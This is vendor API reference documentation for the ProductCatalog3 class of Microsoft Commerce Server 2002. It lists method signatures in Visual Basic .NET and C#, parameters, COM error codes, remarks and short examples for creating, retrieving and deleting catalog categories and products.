If a value is provided for the vrVariantID parameter, then the rule will apply only to that variant of the product. If any variant of a product is included, then the product will be implicitly included. It is not possible to have a variant without a parent product.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.BeginSpecificationSearch Method (PIA)

Use this method to initialize a specification search of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function BeginSpecificationSearch(
  strCategoryName As String,
  Optional pRSInitialPropValuesList As Object,
  Optional plTotalRecordsAvailable As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string BeginSpecificationSearch(
  string strCategoryName,
  ref object pRSInitialPropValuesList,
  ref object plTotalRecordsAvailable
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category in which to search.
pRSInitialPropValuesList
An Object used to return the recordset of initial property values.
plTotalRecordsAvailable
An Object used to return the total records available.
[C#]
strCategoryName
A string that contains the name of the category in which to search.
pRSInitialPropValuesList
An object used to return the Recordset of initial property values. Set the object to Type.Missing if the returned Recordset is not needed.
plTotalRecordsAvailable
An object used to return the total records available. Set the object to Type.Missing if the returned count is not needed.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the state of this specification search.

[C#] This method returns the state of the specification search as a string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011D [Visual Basic .NET] &H8898011D | The properties that you specified to return are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C#] 0x88980049 [Visual Basic .NET] &H88980049 | The category you specified does not exist or is not marked as specification searchable.

Remarks

The optional parameter pRSInitialPropValuesList is a single-row recordset. The returned recordset contains one field for each searchable property for the products under the specified category. Each field contains a System.Array. Each System.Array contains a set of all the distinct values found in all the products under that category. Only the properties that are marked as searchable are returned in the recordset.

If all the searchable properties contain NULL values then pRSInitialPropValuesList parameter will be set to NULL and the plTotalRecordsAvailable parameter will be 0.

A category can be marked as searchable by setting the IsSearchable property to True.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic .NET]

Example

'
strSearchHandle = myProductCatalog.BeginSpecificationSearch(strCategoryName, pRSInitialPropValuesList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.AddSpecificationSearchClause

ProductCatalog3.GetSpecificationSearchClauses

ProductCatalog3.PerformSpecificationSearch


ProductCatalog3.CreateCategory Method (PIA)

Use this method to create a new category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function CreateCategory(
 strDefinitioName As String,
 strCategoryName As String,
 Optional strParentCategoryName As Object,
 Optional fIsSpecificationSearchable As Object
) As Category
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public ICategory CreateCategory(
 string strDefinitioName,
 string strCategoryName,
 object strParentCategoryName,
 object fIsSpecificationSearchable
);

Parameters

[Visual Basic .NET]
strDefinitioName
A String that contains the name of the category definition on which the category is based.
strCategoryName
A String that contains the name of the category to be created.
strParentCategoryName
An Object that contains the name of the category that will be a parent to this new category, if any.
fIsSpecificationSearchable
An Object that determines whether or not this category is to be specification searchable.
[C#]
strDefinitioName
A string that contains the name of the category definition on which the category is based.
strCategoryName
A string that contains the name of the category to be created.
strParentCategoryName
An object that contains the name of the category that will be a parent to this new category, if any. Set to Type.Missing to indicate no parent category.
IsSpecificationSearchable
An object that determines whether or not this category is to be specification searchable. Set to Type.Missing to indicate the default.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the newly created Category object.

[C#] This method returns an ICategory interface to the newly created catalog object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800EA [Visual Basic .NET] &H889800EA | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000B [Visual Basic .NET] &H8898000B | The definition you specified does not exist.
E_CAT_PRODUCT_DEFN_FOR_CATEGORY | [C#] 0x8898004B [Visual Basic .NET] &H8898004B | The definition name that you specified is a product definition. This definition cannot be used to create the category.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_CATEGORY_EXISTS | [C#] 0x8898001D [Visual Basic .NET] &H8898001D | The category you specified already exists.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.
[Visual Basic .NET]

Example

oMyCategory = myProductCatalog.CreateCategory("BasicCategoryDefinition", "T-Shirts", "Apparel", True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.GetCategory

ProductCatalog3.DeleteCategory


ProductCatalog3.CreateCustomCatalog Method (PIA)

The CreateCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


ProductCatalog3.CreateProduct Method (PIA)

Use this method to create a new product within the catalog according to specified parameters.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function CreateProduct(
 strDefinitionName As String,
 varProductID As Object,
 cyListPrice As Decimal,
 Optional strParentCategoryName As Object
) As IProduct
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public IProduct CreateProduct(
 string strDefinitionName,
 object varProductID,
 decimal cyListPrice,
 object strParentCategoryName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the product definition for the product.
varProductID
An Object that contains the unique product ID for the product to be created. The data type must match the property used to uniquely identify products in this catalog.
cyListPrice
A Decimal value that contains the list price of the product to be created.
strParentCategoryName
An Object that contains the name of the category to be designated as the parent category of the product to be created.
[C#]
strDefinitionName
A string that contains the name of the product definition for the product.
varProductID
An object that contains the unique product ID for the product to be created. The data type must match the property used to uniquely identify products in this catalog.
cyListPrice
A decimal that contains the list price of the product to be created.
strParentCategoryName
An object that contains the name of the category to be designated as the parent category of the product to be created. Set to Type.Missing to indicate no parent category.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the IProduct interface to the Product object that was created.

[C#] This method returns a Product object used to return the properties of the newly created product.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &Hx889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800EA [Visual Basic .NET] &Hx889800EA | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &Hx8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &Hx889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &Hx88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000B [Visual Basic .NET] &H8898000B | The definition you specified does not exist.
E_CAT_CATEGORY_DEFN_FOR_PRODUCT | [C#] 0x8898004A [Visual Basic .NET] &H8898004A | The definition name that you specified is a category definition. This definition cannot be used to create the product.
E_CAT_INVALID_PRODUCT_DEFINITION | [C#] 0x8898005F [Visual Basic .NET] &Hx8898005F | The product definition you specified contains a variant property that is being used as the ProductID for this catalog.
E_CAT_PRODUCT_EXISTS | [C#] 0x8898001B [Visual Basic .NET] &Hx8898001B | The product you specified already exists.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &Hx8898001C | The category you specified does not exist.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

A product family is a product that has variants.

The properties of the definition on which a new product is based will determine whether the product being created is a single product or a product family. If the definition used to create the product has variant properties, the newly created product will be a product family.

[Visual Basic .NET]

Example

oMyNewProduct = myProductCatalog.CreateProduct("BasicProduct", "SKU3004", cyListPrice, "Apparel")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.DeleteProduct

ProductCatalog3.GetProduct


ProductCatalog3.DeleteCategory Method (PIA)

Use this method to delete a category from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteCategory(
 strCategoryName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteCategory(
 string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be deleted.
[C#]
strCategoryName
A string that contains the name of the category to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_VC_CANT_DELETE_INCLUDED_CATEGORY | [C#] 0x88980104 [Visual Basic .NET] &H88980104 | The DeleteCategory method cannot be called for a virtual catalog's included categories.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs

Remarks

Any products or categories that existed in the deleted category, but not in another category, will be orphaned. Categories will become root categories and products will become root products. For example: CategoryA and CategoryB are child categories of CategoryX. CategoryA is also a child of CategoryY. When CategoryX is deleted, CategoryB will become a root category, but CategoryA will not.

You cannot delete an inherited category from a virtual catalog. The following error will be returned: E_CAT_VC_CANT_DELETE_INCLUDED_CATEGORY "The DeleteCategory method cannot be called for a virtual catalog's included categories."

If this category has been specified as a Pricing category for a custom catalog, it will be removed as the Pricing category. All the products using this category as a Pricing category will revert to their original price and the category will be removed as the Pricing category

[Visual Basic .NET]

Example

myProductCatalog.DeleteCategory("Apparel")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.RootCategories

ProductCatalog3.CreateCategory

ProductCatalog3.GetCategory


ProductCatalog3.DeleteCustomCatalog Method (PIA)

The DeleteCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


ProductCatalog3.DeleteProduct Method (PIA)

Use this method to delete a product from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteProduct(
 varProductID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteProduct(
 object varProductID
);

Parameters

[Visual Basic .NET]
varProductID
An Object that contains the unique identifier of the product to be deleted.
[C#]
varProductID
An object that contains the unique identifier of the product to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.

Remarks

This method removes the product from the SQL Server database. The Product object caches information for improved performance. Because of this cache, the CatalogName and ProductID methods of the Product object will continue to return the old values after the DeleteProduct method has been called. The Variants, ParentCategories, AncestorCategories, RelatedCategories, and RelatedProducts properties will return an empty Recordset and no error message.

Caution

  • Deleting a product with variants also deletes all of the variants.
[Visual Basic .NET]

Example

myProductCatalog.DeleteProduct(654321)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.CreateProduct

ProductCatalog3.GetProduct


ProductCatalog3.GenerateCustomCatalog Method (PIA)

The GenerateCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


ProductCatalog3.GetCatalogAttributes Method (PIA)

Use this method to retrieve the attributes of this catalog. The returned Recordset is disconnected and updateable.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogAttributes() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogAttributes();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the attributes of this catalog.

[C#] This method returns a _Recordset interface to a Recordset that contains the attributes of this catalog.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[Visual Basic .NET]

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
CatalogName | String 128 characters | The name of the catalog.
Locale | Integer | None.
StartDate | Datetime | None.
End Date | Datetime | None.
VariantID | String 128 characters | The field name that uniquely identifies variants.
ProductID | String 128 characters | The field name that uniquely identifies products.
Currency | String 128 characters | None.
WeightMeasure | String 128 characters | None.
TimeStamp | Timestamp | None.
CatalogID | Integer | None.
CustomCatalog | Boolean | A flag indicating whether this is a custom catalog. True indicates a custom catalog.
FreeTextIndexCreated | Datetime | None.
ProductTableUpdated | Datetime | None.
[C#]

The returned Recordset is disconnected and updateable. The following table shows the fields that the returned Recordset contains.

Field | Data Type | Description
CatalogName | String 128 characters | The name of the catalog.
Locale | Integer | None.
StartDate | Datetime | None.
End Date | Datetime | None.
VariantID | String 128 characters | The field name that uniquely identifies variants.
ProductID | String 128 characters | The field name that uniquely identifies products.
Currency | String 128 characters | None.
WeightMeasure | String 128 characters | None.
TimeStamp | Timestamp | None.
CatalogID | Integer | None.
CustomCatalog | Boolean | A flag indicating whether this is a custom catalog. True indicates a custom catalog.
FreeTextIndexCreated | Datetime | None.
ProductTableUpdated | Datetime | None.
[Visual Basic .NET]

Example

rsMyCatAttribs = myProductCatalog.GetCatalogAttributes()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.GetCustomCatalogAttributes

ProductCatalog3.SetCatalogAttributes


ProductCatalog3.GetCategory Method (PIA)

Use this method to retrieve the specified category from a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function GetCategory(
 strCategoryName As String
) As ICategory
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public ICategory GetCategory(
 string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be returned.
[C#]
strCategoryName
A string that contains the name of the category to be returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the ICategory interface to the Category object specified.

[C#] This method returns an ICategory interface used to return the specified category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
S_FALSE | 1 | The category does not exist
[Visual Basic .NET]

Example

oMyCategory = myProductCatalog.GetCategory("Apparel")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.CreateCategory

ProductCatalog3.DeleteCategory


ProductCatalog3.GetCategoryCustomPrice Method (PIA)

The GetCategoryCustomPrice method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


ProductCatalog3.GetCustomCatalogAttributes Method (PIA)

The GetCustomCatalogAttributes method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


ProductCatalog3.GetDependentCatalogs Method (PIA)

Use this method to return a recordset with a single field containing all of the virtual catalogs that are dependent on this catalog. This method cannot be called on a virtual catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function GetDependentCatalogs(
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional plTotalRecordsInQuery As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetDependentCatalogs(
);
  object lStartingRecord,
  object lRecordsToRetrieve,
  object plTotalRecordsInQuery,
);

Parameters

[Visual Basic .NET]
lStartingRecord
An Object that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
plTotalRecordsInQuery
An Object that, if supplied, contains on output the total number of records.
[C#]
lStartingRecord
An Object that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
plTotalRecordsInQuery
An Object that, if supplied, contains on output the total number of records.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.GetLanguages Method (PIA)

Use this method to return a recordset with a single field containing all of the supported languages.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function GetLanguages() As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetLanguages(
);

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the supported languages.

[C#] This method returns a _Recordset interface to a Recordset object used to return the supported languages.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
Language | String 10 characters | The ISO 639+1 code of the language.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.GetPriceRules Method (PIA)

Use this method to get a Recordset containing the specified price rules.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function GetPriceRules(
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional strPropertyToSortOn As Object,
  Optional fSortAscending As Boolean,
  Optional plTotalRecordsInQuery As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetPriceRules(
  object lStartingRecord,
  object lRecordsToRetrieve,
  object strPropertyToSortOn,
  bool fSortAscending,
  object plTotalRecordsInQuery,
);

Parameters

[Visual Basic .NET]
lStartingRecord
An Object that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
strPropertyToSortOn
An Object that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery
An Object that, if supplied, contains on output the total number of records.
[C#]
lStartingRecord
A Variant that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve
A Variant that contains the number of records to retrieve.
strPropertyToSortOn
A Variant that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery
A Variant that, if supplied, contains on output the total number of records.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the properties for the object.

[C#] This method returns a _Recordset interface to a Recordset object used to return the product variant.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties that you specified to sort are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
AdjustmentType | CatalogCustomPriceEnum enumeration | The type of the pricing rule.
Amount | Integer | None
CategoryName | String 85 characters | None
ProductID | String 256 characters | The field name that uniquely identifies products.
VariantID | String 256 characters | The field name that uniquely identifies variants.

The following table shows the values of the CatalogCustomPriceEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscNoCustomPrice | 0 | The custom price is the same as the base price.
cscPercentageMultiplier | 1 | The custom price = basePrice + (basePrice * pfpCustomPriceAmount /100).
cscAddFixedAmount | 2 | The custom price is the value in the parameter pfpCustomPriceAmount added to the base price.
cscReplacePrice | 3 | The custom price is the value in the parameter pfpCustomPriceAmount.
cscInvalidCustomPrice | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.GetProduct Method (PIA)

Use this method to retrieve the specified product from a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function GetProduct(
 varProductID As Object
) As IProduct
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public IProduct GetProduct(
 object varProductID
);

Parameters

[Visual Basic .NET]
varProductID
An Object that contains the unique identifier of the product.
[C#]
varProductID
An object that contains the unique identifier of the product.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an IProduct interface to the product specified.

[C#] This method returns an IProduct interface to a Product.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
